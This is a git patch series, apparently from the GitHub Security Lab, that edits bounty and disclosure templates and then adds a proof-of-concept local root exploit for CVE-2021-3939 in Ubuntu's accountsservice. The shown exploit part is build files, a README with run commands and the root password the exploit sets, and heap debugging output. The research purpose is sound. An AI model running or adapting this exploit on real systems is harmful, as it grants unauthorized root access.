     attributes:
@@ -74,14 +85,3 @@ body:
       description: If you have already blogged about your query, please provide a link.
     validations:
       required: false
-  - type: textarea
-    id: cve_ids
-    attributes:
-      label: CVE(s) ID list
-      description: Enter a list of the CVE ID(s) associated with this query, one bullet for each distinct CVE. GitHub will automatically link CVE IDs to the [GitHub Advisory Database](https://github.com/advisories). If the result(s) is **NOT YET** fixed **nor disclosed**, and you are still waiting for a CVE, then you can privately share your result via email to [security@github.com](mailto:security@github.com?subject=[BugBounty]%20Issue%20#000%20useful%20result)
-      placeholder: |
-        ex.
-        - [CVE-20nn-xxxx](<relevant URL>)
-        - [CVE-20nn-yyyy](<relevant URL>)
-    validations:
-      required: true

From e4ca7bba29cc70b6f0421f85a15a72f623476eb4 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Alvaro=20Mu=C3=B1oz=20Sanchez?= <alvaro@pwntester.com>
Date: Wed, 10 Nov 2021 10:34:16 +0100
Subject: [PATCH 068/104] move placeholders to new lines

---
 .github/ISSUE_TEMPLATE/all-for-one.yml | 6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/.github/ISSUE_TEMPLATE/all-for-one.yml b/.github/ISSUE_TEMPLATE/all-for-one.yml
index 125a381..2bb242f 100644
--- a/.github/ISSUE_TEMPLATE/all-for-one.yml
+++ b/.github/ISSUE_TEMPLATE/all-for-one.yml
@@ -20,7 +20,8 @@ body:
     attributes:
       label: Query PR
       description: Link to pull request with your CodeQL query
-      placeholder: ex. https://github.com/github/codeql/pull/nnnn
+      placeholder: |
+        ex. https://github.com/github/codeql/pull/nnnn
     validations:
       required: true
   - type: dropdown
@@ -53,7 +54,8 @@ body:
     attributes:
       label: CWE
       description: CWE that best fits the vulnerability class modeled with your query
-      placeholder: "ex. CWE-502: Deserialization of Untrusted Data"
+      placeholder: |
+        ex. CWE-502: Deserialization of Untrusted Data
     validations:
       required: false
   - type: textarea

From a88be72e8c2fbcadf618966681a1d166952e70a6 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Alvaro=20Mu=C3=B1oz=20Sanchez?= <alvaro@pwntester.com>
Date: Wed, 10 Nov 2021 18:23:17 +0100
Subject: [PATCH 069/104] fix incorrect checkbox options

---
 .github/ISSUE_TEMPLATE/all-for-one.yml | 13 ++++++++-----
 1 file changed, 8 insertions(+), 5 deletions(-)

diff --git a/.github/ISSUE_TEMPLATE/all-for-one.yml b/.github/ISSUE_TEMPLATE/all-for-one.yml
index 2bb242f..1acda3d 100644
--- a/.github/ISSUE_TEMPLATE/all-for-one.yml
+++ b/.github/ISSUE_TEMPLATE/all-for-one.yml
@@ -73,13 +73,16 @@ body:
       required: true
   - type: checkboxes
     id: social 
-    label: Are you planning to discuss this vulnerability submission publicly? (Blog Post, social networks, etc). *We would love to have you spread the word about the good work you are doing*
-    validations:
-      required: true
     attributes:
+      label: Are you planning to discuss this vulnerability submission publicly? (Blog Post, social networks, etc). 
+      description: We would love to have you spread the word about the good work you are doing
       options:
-        - Yes
-        - No
+        - label: Yes
+          required: true
+        - label: No 
+          required: true
+    validations:
+      required: true
   - type: input
     id: social_url
     attributes:

From 424945a05066381d1cc66ba784030b40dac2f212 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Alvaro=20Mu=C3=B1oz=20Sanchez?= <alvaro@pwntester.com>
Date: Wed, 10 Nov 2021 18:26:34 +0100
Subject: [PATCH 070/104] fix incorrect checkbox options

---
 .github/ISSUE_TEMPLATE/all-for-one.yml | 6 ++----
 1 file changed, 2 insertions(+), 4 deletions(-)

diff --git a/.github/ISSUE_TEMPLATE/all-for-one.yml b/.github/ISSUE_TEMPLATE/all-for-one.yml
index 1acda3d..3ca4e5b 100644
--- a/.github/ISSUE_TEMPLATE/all-for-one.yml
+++ b/.github/ISSUE_TEMPLATE/all-for-one.yml
@@ -77,10 +77,8 @@ body:
       label: Are you planning to discuss this vulnerability submission publicly? (Blog Post, social networks, etc). 
       description: We would love to have you spread the word about the good work you are doing
       options:
-        - label: Yes
-          required: true
-        - label: No 
-          required: true
+        - label: "Yes"
+        - label: "No" 
     validations:
       required: true
   - type: input

From 533c25e82f07b1f0a4f0ced21812a1e1fe7232b4 Mon Sep 17 00:00:00 2001
From: Xavier RENE-CORAIL <xcorail@github.com>
Date: Wed, 10 Nov 2021 20:29:38 +0000
Subject: [PATCH 071/104] Add details to the disclosure policy

---
 docs/report-template.md | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/docs/report-template.md b/docs/report-template.md
index 495ea06..a69f14b 100644
--- a/docs/report-template.md
+++ b/docs/report-template.md
@@ -46,7 +46,7 @@ When you use a GitHub Security Advisory, you can request a CVE identification nu
 ## Credit
 
 *List all researchers who contributed to this disclosure.*
-*Mention if you found the vulnerability with a specific tool.*
+*If you found the vulnerability with a specific tool, you can also credit this tool.*
 
 ## Contact
 
@@ -54,4 +54,4 @@ When you use a GitHub Security Advisory, you can request a CVE identification nu
 
 ## Disclosure Policy
 
-*Describe or link to your disclosure policy.*
\ No newline at end of file
+*Describe or link to your disclosure policy. It's important to have a disclosure policy where the public disclosure deadline, and the potential exceptions to it, are clear. You are free to copy and use the [GitHub Security Lab disclosure policy](https://securitylab.github.com/advisories/#policy).*
\ No newline at end of file

From 4de2dfdc88971b50e21cb07a61e3f9942717bab2 Mon Sep 17 00:00:00 2001
From: Xavier RENE-CORAIL <xcorail@github.com>
Date: Fri, 12 Nov 2021 09:29:26 -0800
Subject: [PATCH 072/104] Apply suggestion from code review

---
 docs/report-template.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/docs/report-template.md b/docs/report-template.md
index a69f14b..a13fe9a 100644
--- a/docs/report-template.md
+++ b/docs/report-template.md
@@ -40,7 +40,7 @@ If you are _NOT_ the correct point of contact for this report, please let me kno
 
 ## GitHub Security Advisories
 
-We recommend you create a private [GitHub Security Advisory](https://help.github.com/en/github/managing-security-vulnerabilities/creating-a-security-advisory) for these findings. This also allows you to invite me to collaborate and further discuss these findings in private before they are [published](https://help.github.com/en/github/managing-security-vulnerabilities/publishing-a-security-advisory). I will be happy to collaborate with you, and review your fix to make sure that all corner cases are covered. 
+If possible, please could you create a private [GitHub Security Advisory](https://help.github.com/en/github/managing-security-vulnerabilities/creating-a-security-advisory) for these findings? This allows you to invite me to collaborate and further discuss these findings in private before they are [published](https://help.github.com/en/github/managing-security-vulnerabilities/publishing-a-security-advisory). I will be happy to collaborate with you, and review your fix to make sure that all corner cases are covered. 
 When you use a GitHub Security Advisory, you can request a CVE identification number from GitHub. GitHub usually reviews the request within 72 hours, and the CVE details will be published after you make your security advisory public. Publishing a GitHub Security Advisory and a CVE will help notify the downstream consumers of your project, so they can update to the fixed version.
 
 ## Credit

From f90f01059df61853ccc197fdd4171545ad2482af Mon Sep 17 00:00:00 2001
From: Xavier RENE-CORAIL <xcorail@github.com>
Date: Fri, 12 Nov 2021 18:15:04 +0000
Subject: [PATCH 073/104] Embed the disclosure policy directly

---
 docs/report-template.md | 10 +++++++++-
 1 file changed, 9 insertions(+), 1 deletion(-)

diff --git a/docs/report-template.md b/docs/report-template.md
index a13fe9a..7420446 100644
--- a/docs/report-template.md
+++ b/docs/report-template.md
@@ -54,4 +54,12 @@ When you use a GitHub Security Advisory, you can request a CVE identification nu
 
 ## Disclosure Policy
 
-*Describe or link to your disclosure policy. It's important to have a disclosure policy where the public disclosure deadline, and the potential exceptions to it, are clear. You are free to copy and use the [GitHub Security Lab disclosure policy](https://securitylab.github.com/advisories/#policy).*
\ No newline at end of file
+*Describe or link to your disclosure policy. It's important to have a disclosure policy where the public disclosure deadline, and the potential exceptions to it, are clear. You are free to use the [GitHub Security Lab disclosure policy](https://securitylab.github.com/advisories/#policy), which is copied below for your convenience, if it resonates with you.*
+
+The *your_team_name_here* research team is dedicated to working closely with the open source community and with projects that are affected by a vulnerability, in order to protect users and ensure a coordinated disclosure. When we identify a vulnerability in a project, we will report it by contacting the publicly-listed security contact for the project if one exists; otherwise we will attempt to contact the project maintainers directly.
+
+If the project team responds and agrees the issue poses a security risk, we will work with the project security team or maintainers to communicate the vulnerability in detail, and agree on the process for public disclosure. Responsibility for developing and releasing a patch lies firmly with the project team, though we aim to facilitate this by providing detailed information about the vulnerability.
+
+Our disclosure deadline for publicly disclosing a vulnerability is: 90 days after the first report to the project team.
+
+We **appreciate the hard work** maintainers put into fixing vulnerabilities and understand that sometimes more time is required to properly address an issue. We want project maintainers to succeed and because of that we are always open to discuss our disclosure policy to fit your specific requirements, when warranted.

From ebc33063cbc8b1d94909c0677b6072431ba99cb8 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Alvaro=20Mu=C3=B1oz?= <pwntester@github.com>
Date: Thu, 18 Nov 2021 12:39:48 +0100
Subject: [PATCH 074/104] Update .github/ISSUE_TEMPLATE/all-for-one.yml
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Co-authored-by: Jaroslav Lobačevski <jarlob@github.com>
---
 .github/ISSUE_TEMPLATE/all-for-one.yml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/.github/ISSUE_TEMPLATE/all-for-one.yml b/.github/ISSUE_TEMPLATE/all-for-one.yml
index 3ca4e5b..8d7532f 100644
--- a/.github/ISSUE_TEMPLATE/all-for-one.yml
+++ b/.github/ISSUE_TEMPLATE/all-for-one.yml
@@ -53,7 +53,7 @@ body:
     id: cwe
     attributes:
       label: CWE
-      description: CWE that best fits the vulnerability class modeled with your query
+      description: [CWE](https://cwe.mitre.org/data/index.html) that best fits the vulnerability class modeled with your query
       placeholder: |
         ex. CWE-502: Deserialization of Untrusted Data
     validations:

From 4c2e45128bb995ca16a0745f70aee06180ff8a22 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Alvaro=20Mu=C3=B1oz?= <pwntester@github.com>
Date: Thu, 18 Nov 2021 12:41:41 +0100
Subject: [PATCH 075/104] Apply suggestions from code review

---
 .github/ISSUE_TEMPLATE/all-for-one.yml | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/.github/ISSUE_TEMPLATE/all-for-one.yml b/.github/ISSUE_TEMPLATE/all-for-one.yml
index 8d7532f..755bcb3 100644
--- a/.github/ISSUE_TEMPLATE/all-for-one.yml
+++ b/.github/ISSUE_TEMPLATE/all-for-one.yml
@@ -1,5 +1,5 @@
 name: All for One, One For All bounty submission
-description: Submit a CodeQL query for the All For One, One For All bounty (https://securitylab.github.com/bounties)
+description: Submit a CodeQL query for the All For One, One For All bounty (https://securitylab.github.com/bounties#allforone)
 title: "[<language>]: <short description>"
 labels: [All For One]
 body:
@@ -12,7 +12,7 @@ body:
 
         After you submit this issue, the GitHub Security Lab and CodeQL teams will triage the submission and, if it meets the Query Bounty Program requirements, we will grant you a bounty through our HackerOne program.
 
-        Please make sure to carefully read the [bounty program description and conditions](https://securitylab.github.com/bounties/)
+        Please make sure to carefully read the [bounty program description and conditions](https://securitylab.github.com/bounties#allforone)
 
         # Questionnaire
   - type: input

From 14f0afcf9430da3e25ae0d556dd849db647bfed0 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Alvaro=20Mu=C3=B1oz?= <pwntester@github.com>
Date: Tue, 7 Dec 2021 17:31:48 +0100
Subject: [PATCH 076/104] Update .github/ISSUE_TEMPLATE/all-for-one.yml

Co-authored-by: intrigus-lgtm <60750685+intrigus-lgtm@users.noreply.github.com>
---
 .github/ISSUE_TEMPLATE/all-for-one.yml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/.github/ISSUE_TEMPLATE/all-for-one.yml b/.github/ISSUE_TEMPLATE/all-for-one.yml
index 755bcb3..80c62dc 100644
--- a/.github/ISSUE_TEMPLATE/all-for-one.yml
+++ b/.github/ISSUE_TEMPLATE/all-for-one.yml
@@ -53,7 +53,7 @@ body:
     id: cwe
     attributes:
       label: CWE
-      description: [CWE](https://cwe.mitre.org/data/index.html) that best fits the vulnerability class modeled with your query
+      description: "[CWE](https://cwe.mitre.org/data/index.html) that best fits the vulnerability class modeled with your query"
       placeholder: |
         ex. CWE-502: Deserialization of Untrusted Data
     validations:

From 24fff089d8136b8f7385d08ddb57a13d91a41193 Mon Sep 17 00:00:00 2001
From: Kevin Backhouse <kevinbackhouse@github.com>
Date: Thu, 9 Dec 2021 13:50:43 +0000
Subject: [PATCH 077/104] PoC for Ubuntu accountsservice CVE-2021-3939

---
 .gitmodules                                   |   9 +
 .../accountsservice_CVE-2021-3939/.gitignore  |   2 +
 .../CMakeLists.txt                            |  51 +
 .../accountsservice_CVE-2021-3939/DBusParse   |   1 +
 .../accountsservice_CVE-2021-3939/EPollLoop   |   1 +
 .../EPollLoopDBusHandler                      |   1 +
 .../README-build-accountsservice.md           |  66 ++
 .../accountsservice_CVE-2021-3939/README.md   |  44 +
 .../observations/info.txt                     | 286 ++++++
 .../observations/instrumentation.md           | 185 ++++
 .../observations/polkit_sequence.txt          | 166 ++++
 .../accountsservice_CVE-2021-3939/poc.cpp     | 642 +++++++++++++
 .../accountsservice_CVE-2021-3939/poc2.cpp    | 846 ++++++++++++++++
 .../accountsservice_CVE-2021-3939/poc3.cpp    | 906 ++++++++++++++++++
 14 files changed, 3206 insertions(+)
 create mode 100644 SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/.gitignore
 create mode 100644 SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/CMakeLists.txt
 create mode 160000 SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/DBusParse
 create mode 160000 SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/EPollLoop
 create mode 160000 SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/EPollLoopDBusHandler
 create mode 100644 SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/README-build-accountsservice.md
 create mode 100644 SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/README.md
 create mode 100644 SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/observations/info.txt
 create mode 100644 SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/observations/instrumentation.md
 create mode 100644 SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/observations/polkit_sequence.txt
 create mode 100644 SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/poc.cpp
 create mode 100644 SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/poc2.cpp
 create mode 100644 SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/poc3.cpp

diff --git a/.gitmodules b/.gitmodules
index 497169b..5b523f5 100644
--- a/.gitmodules
+++ b/.gitmodules
@@ -1,3 +1,12 @@
 [submodule "SecurityExploits/polkit/authentication_bypass_CVE-2021-3560/DBusParse"]
 	path = SecurityExploits/polkit/authentication_bypass_CVE-2021-3560/DBusParse
 	url = https://github.com/kevinbackhouse/DBusParse.git
+[submodule "SecurityExploits/Ubuntu/GHSL-2021-1011-accountsservice/DBusParse"]
+	path = SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/DBusParse
+	url = https://github.com/kevinbackhouse/DBusParse.git
+[submodule "SecurityExploits/Ubuntu/GHSL-2021-1011-accountsservice/EPollLoop"]
+	path = SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/EPollLoop
+	url = https://github.com/kevinbackhouse/EPollLoop.git
+[submodule "SecurityExploits/Ubuntu/GHSL-2021-1011-accountsservice/EPollLoopDBusHandler"]
+	path = SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/EPollLoopDBusHandler
+	url = https://github.com/kevinbackhouse/EPollLoopDBusHandler.git
diff --git a/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/.gitignore b/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/.gitignore
new file mode 100644
index 0000000..c08c06a
--- /dev/null
+++ b/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/.gitignore
@@ -0,0 +1,2 @@
+*~
+build*
diff --git a/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/CMakeLists.txt b/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/CMakeLists.txt
new file mode 100644
index 0000000..c430b23
--- /dev/null
+++ b/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/CMakeLists.txt
@@ -0,0 +1,51 @@
+cmake_minimum_required(VERSION 3.10)
+
+enable_testing()
+
+# set the project name
+project(GHSL-2021-1011-accountsservice VERSION 1.0.0 DESCRIPTION "Proof of concept exploit for GHSL-2021-1011: double-free in accountsservice")
+
+# specify the C++ standard
+set(CMAKE_CXX_STANDARD 17)
+set(CMAKE_CXX_STANDARD_REQUIRED True)
+
+set(EPollLoop_DIR "${CMAKE_SOURCE_DIR}/EPollLoop")
+set(DBusParse_DIR "${CMAKE_SOURCE_DIR}/DBusParse")
+
+option(USE_SANITIZERS "Enable ASAN and UBSAN" OFF)
+
+add_compile_options(-Wall -Wextra -pedantic -Werror)
+
+if (USE_SANITIZERS)
+  set(SANITIZER_FLAGS "-fsanitize=address,undefined")
+  set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} ${SANITIZER_FLAGS}")
+  set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} ${SANITIZER_FLAGS}")
+  set(CMAKE_EXE_LINKER_FLAGS "${CMAKE_EXE_LINKER_FLAGS} ${SANITIZER_FLAGS}")
+  set(CMAKE_MODULE_LINKER_FLAGS "${CMAKE_MODULE_LINKER_FLAGS} ${SANITIZER_FLAGS}")
+endif()
+
+add_subdirectory(DBusParse)
+add_subdirectory(EPollLoop)
+add_subdirectory(EPollLoopDBusHandler)
+
+add_executable(poc poc.cpp)
+target_link_libraries(poc PUBLIC DBusParse DBusParseUtils util)
+target_include_directories(
+        poc PRIVATE
+        $<BUILD_INTERFACE:${PROJECT_SOURCE_DIR}/DBusParse/include/DBusParse>)
+
+add_executable(poc2 poc2.cpp)
+target_link_libraries(poc2 PUBLIC DBusParse DBusParseUtils EPollLoop EPollLoopDBusHandler)
+target_include_directories(
+        poc2 PRIVATE
+        $<BUILD_INTERFACE:${PROJECT_SOURCE_DIR}/DBusParse/include/DBusParse>
+        $<BUILD_INTERFACE:${PROJECT_SOURCE_DIR}/EPollLoop/include/EPollLoop>
+        $<BUILD_INTERFACE:${PROJECT_SOURCE_DIR}/EPollLoopDBusHandler/include/EPollLoopDBusHandler>)
+
+add_executable(poc3 poc3.cpp)
+target_link_libraries(poc3 PUBLIC DBusParse DBusParseUtils EPollLoop EPollLoopDBusHandler)
+target_include_directories(
+        poc3 PRIVATE
+        $<BUILD_INTERFACE:${PROJECT_SOURCE_DIR}/DBusParse/include/DBusParse>
+        $<BUILD_INTERFACE:${PROJECT_SOURCE_DIR}/EPollLoop/include/EPollLoop>
+        $<BUILD_INTERFACE:${PROJECT_SOURCE_DIR}/EPollLoopDBusHandler/include/EPollLoopDBusHandler>)
diff --git a/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/DBusParse b/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/DBusParse
new file mode 160000
index 0000000..b2c75ca
--- /dev/null
+++ b/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/DBusParse
@@ -0,0 +1 @@
+Subproject commit b2c75caace13d54303581a71f72c83bb5239b3a2
diff --git a/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/EPollLoop b/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/EPollLoop
new file mode 160000
index 0000000..9bb4a14
--- /dev/null
+++ b/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/EPollLoop
@@ -0,0 +1 @@
+Subproject commit 9bb4a14427dfb7da867cc253f3e064d54b18679a
diff --git a/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/EPollLoopDBusHandler b/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/EPollLoopDBusHandler
new file mode 160000
index 0000000..019faea
--- /dev/null
+++ b/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/EPollLoopDBusHandler
@@ -0,0 +1 @@
+Subproject commit 019faea2c0e00ba1047b7a0eb3861769896d6dd1
diff --git a/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/README-build-accountsservice.md b/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/README-build-accountsservice.md
new file mode 100644
index 0000000..d32740e
--- /dev/null
+++ b/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/README-build-accountsservice.md
@@ -0,0 +1,66 @@
+# How to build accountsservice
+
+## How to build with debug symbols
+
+First, get the source code for accountsservice:
+
+```bash
+mkdir accountsservice
+cd accountsservice
+apt-get source accountsservice
+cd accountsservice-0.6.55/
+```
+
+To create a debug build:
+
+```bash
+DEB_BUILD_OPTIONS='nostrip noopt debug' debuild -b -uc -us
+```
+
+Install like this:
+
+```
+sudo dpkg -i ../*.deb
+```
+
+## How to build with address sanitizer (ASAN)
+
+The instructions that I found [here](https://wiki.debian.org/LTS/Development/Asan) don't work on accountsservice. (I get lots of linker errors lie `undefined reference to `__asan_report_store8'`, presumably because `libasan` hasn't been included in the link step.) But I was able to successfully create an ASAN build by modifying `src/meson.build` like this:
+
+```
+diff --git a/src/meson.build b/src/meson.build
+index 20d5276..50ec3e1 100644
+--- a/src/meson.build
++++ b/src/meson.build
+@@ -28,6 +28,7 @@ cflags = [
+   '-DDATADIR="@0@"'.format(act_datadir),
+   '-DICONDIR="@0@"'.format(join_paths(act_localstatedir, 'lib', 'AccountsService', 'icons')),
+   '-DUSERDIR="@0@"'.format(join_paths(act_localstatedir, 'lib', 'AccountsService', 'users')),
++  '-fsanitize=address',
+ ]
+ 
+ libaccounts_generated = static_library(
+@@ -36,6 +37,7 @@ libaccounts_generated = static_library(
+   include_directories: top_inc,
+   dependencies: deps,
+   c_args: cflags,
++  link_args: '-fsanitize=address',
+ )
+ 
+ libaccounts_generated_dep = declare_dependency(
+@@ -68,6 +70,7 @@ executable(
+   include_directories: top_inc,
+   dependencies: deps,
+   c_args: cflags,
++  link_args: '-fsanitize=address',
+   install: true,
+   install_dir: act_libexecdir,
+ )
+```
+
+Then run the same commands as before to build and install:
+
+```bash
+DEB_BUILD_OPTIONS='nostrip noopt debug' debuild -b -uc -us
+sudo dpkg -i ../*.deb
+```
diff --git a/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/README.md b/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/README.md
new file mode 100644
index 0000000..9475ba5
--- /dev/null
+++ b/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/README.md
@@ -0,0 +1,44 @@
+# Ubuntu accountsservice CVE-2021-3939 (GHSL-2021-1011)
+
+This repository contains a proof of concept exploit for [CVE-2021-3939](https://ubuntu.com/security/notices/USN-5149-1) (GHSL-2021-1011):
+a double-free memory corruption vulnerability in [accountsservice](https://git.launchpad.net/ubuntu/+source/accountsservice/).
+
+When successful, this poc sets the root user's password.
+
+Notes:
+
+1. The vulnerability only exists in Ubuntu's fork of accountsservice. Other Linux distributions, such as Debian, are not affected.
+2. This exploit is SLOW. It might take several hours to succeed.
+
+# Build
+
+Instructions for building the PoC:
+
+```bash
+git submodule update --init  # Download https://github.com/kevinbackhouse/DBusParse
+mkdir build
+cd build
+cmake ..
+make
+```
+
+# Running
+
+```bash
+./poc3 /var/run/dbus/system_bus_socket
+```
+
+The poc usually takes many hours to succeed. When it's successful, you should be able to login as root:
+
+```bash
+su - root  # password is: KrabbyPatties
+```
+
+Note: there are three versions of the poc. `poc.cpp` is the original
+poc that I attached to the bug report that I sent to Ubuntu. It's a
+bit careless with the way that it sends and receives D-Bus messages,
+so it can sometimes get stuck because it's waiting for a D-Bus message
+that never arrives. `poc2.cpp` is an improved version that uses
+asynchronous communication, powered by epoll. `poc3.cpp` is a
+simplified version of the exploit which I wrote after I better
+understood how the exploit actually works.
diff --git a/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/observations/info.txt b/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/observations/info.txt
new file mode 100644
index 0000000..de60bfd
--- /dev/null
+++ b/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/observations/info.txt
@@ -0,0 +1,286 @@
+Output from poc2:
+
+uid: 1001
+pid: 1382019
+home dir: /home/kev
+Unique bus name (polkit): :1.40039
+Received a signal in PolkitHandler.
+Unique bus name (accounts): :1.40040
+Received a signal in AccountsHandler.
+Successfully registered with polkit
+FindUserById: /org/freedesktop/Accounts/User1001
+batch sizes: 3 2
+accounts-daemon PID: 1506283
+accounts-daemon is not running
+FindUserById: /org/freedesktop/Accounts/User0
+Starting exploit. PID: 1506348
+trigger_bug:  isError = 0
+trigger_bug:  isError = 1
+
+
+from journalctl:
+
+Nov 23 11:56:37 Speedy accounts-daemon[1506348]: fallback_value (FormatsLocale): 0x564cfbc8e4c0
+Nov 23 11:56:37 Speedy accounts-daemon[1506348]: fallback_value (Language): 0x564cfbc89ea0
+
+
+accounts-daemon logging:
+
+(gdb) p logentry_pos
+$2 = 159
+(gdb) x /172wx logentries
+0x564cfbb00220 <logentries>:	0x00000000	0x00000000	0x00000003	0x00000004
+0x564cfbb00230 <logentries+16>:	0x00000001	0x00000002	0x00000005	0x00000001
+0x564cfbb00240 <logentries+32>:	0x00000002	0x00000005	0x00000001	0x00000002
+0x564cfbb00250 <logentries+48>:	0x00000005	0x00000003	0x00000004	0x00000001
+0x564cfbb00260 <logentries+64>:	0x00000002	0x00000005	0x00000001	0x00000002
+0x564cfbb00270 <logentries+80>:	0x00000005	0x00000001	0x00000005	0x00000001
+0x564cfbb00280 <logentries+96>:	0x00000005	0x00000001	0x00000005	0x00000001
+0x564cfbb00290 <logentries+112>:	0x00000005	0x00000001	0x00000005	0x00000001
+0x564cfbb002a0 <logentries+128>:	0x00000005	0x00000001	0x00000005	0x00000001
+0x564cfbb002b0 <logentries+144>:	0x00000005	0x00000001	0x00000005	0x00000001
+0x564cfbb002c0 <logentries+160>:	0x00000005	0x00000001	0x00000005	0x00000001
+0x564cfbb002d0 <logentries+176>:	0x00000005	0x00000001	0x00000005	0x00000001
+0x564cfbb002e0 <logentries+192>:	0x00000005	0x00000001	0x00000005	0x00000001
+0x564cfbb002f0 <logentries+208>:	0x00000005	0x00000001	0x00000005	0x00000001
+0x564cfbb00300 <logentries+224>:	0x00000005	0x00000001	0x00000005	0x00000001
+0x564cfbb00310 <logentries+240>:	0x00000005	0x00000001	0x00000005	0x00000001
+0x564cfbb00320 <logentries+256>:	0x00000005	0x00000001	0x00000005	0x00000001
+0x564cfbb00330 <logentries+272>:	0x00000005	0x00000001	0x00000005	0x00000001
+0x564cfbb00340 <logentries+288>:	0x00000005	0x00000001	0x00000005	0x00000001
+0x564cfbb00350 <logentries+304>:	0x00000005	0x00000001	0x00000005	0x00000001
+0x564cfbb00360 <logentries+320>:	0x00000005	0x00000001	0x00000005	0x00000001
+0x564cfbb00370 <logentries+336>:	0x00000005	0x00000001	0x00000005	0x00000001
+0x564cfbb00380 <logentries+352>:	0x00000005	0x00000001	0x00000005	0x00000001
+0x564cfbb00390 <logentries+368>:	0x00000005	0x00000001	0x00000005	0x00000001
+0x564cfbb003a0 <logentries+384>:	0x00000005	0x00000001	0x00000005	0x00000001
+0x564cfbb003b0 <logentries+400>:	0x00000005	0x00000001	0x00000005	0x00000001
+0x564cfbb003c0 <logentries+416>:	0x00000005	0x00000001	0x00000005	0x00000001
+0x564cfbb003d0 <logentries+432>:	0x00000005	0x00000001	0x00000005	0x00000001
+0x564cfbb003e0 <logentries+448>:	0x00000005	0x00000001	0x00000005	0x00000001
+0x564cfbb003f0 <logentries+464>:	0x00000005	0x00000001	0x00000005	0x00000001
+0x564cfbb00400 <logentries+480>:	0x00000005	0x00000001	0x00000005	0x00000001
+0x564cfbb00410 <logentries+496>:	0x00000005	0x00000001	0x00000005	0x00000001
+0x564cfbb00420 <logentries+512>:	0x00000005	0x00000001	0x00000005	0x00000001
+0x564cfbb00430 <logentries+528>:	0x00000005	0x00000001	0x00000005	0x00000001
+0x564cfbb00440 <logentries+544>:	0x00000005	0x00000001	0x00000005	0x00000001
+0x564cfbb00450 <logentries+560>:	0x00000005	0x00000001	0x00000005	0x00000001
+0x564cfbb00460 <logentries+576>:	0x00000005	0x00000001	0x00000005	0x00000001
+0x564cfbb00470 <logentries+592>:	0x00000005	0x00000001	0x00000005	0x00000001
+0x564cfbb00480 <logentries+608>:	0x00000005	0x00000001	0x00000002	0x00000002
+0x564cfbb00490 <logentries+624>:	0x00000002	0x00000002	0x00000006	0x00000000
+0x564cfbb004a0 <logentries+640>:	0x00000000	0x00000000	0x00000000	0x00000000
+0x564cfbb004b0 <logentries+656>:	0x00000000	0x00000000	0x00000000	0x00000000
+0x564cfbb004c0 <logentries+672>:	0x00000000	0x00000000	0x00000000	0x00000000
+
+
+polkit logging:
+
+(gdb) p checkauthdata_pos
+$3 = 161
+(gdb) x /164gx checkauthdata_table
+0x7f2620ca2620 <checkauthdata_table>:	0x0000564cfbd1f970	0x0000564cfbd1f970
+0x7f2620ca2630 <checkauthdata_table+16>:	0x0000564cfbd0efd0	0x0000564cfbd0efd0
+0x7f2620ca2640 <checkauthdata_table+32>:	0x0000564cfbc8e4c0	0x0000564cfbd1f930
+0x7f2620ca2650 <checkauthdata_table+48>:	0x0000564cfbd1f930	0x0000564cfbd1e390
+0x7f2620ca2660 <checkauthdata_table+64>:	0x0000564cfbd1cc80	0x0000564cfbd1cc80
+0x7f2620ca2670 <checkauthdata_table+80>:	0x0000564cfbc81670	0x0000564cfbd20800
+0x7f2620ca2680 <checkauthdata_table+96>:	0x0000564cfbd20800	0x0000564cfbc81c10
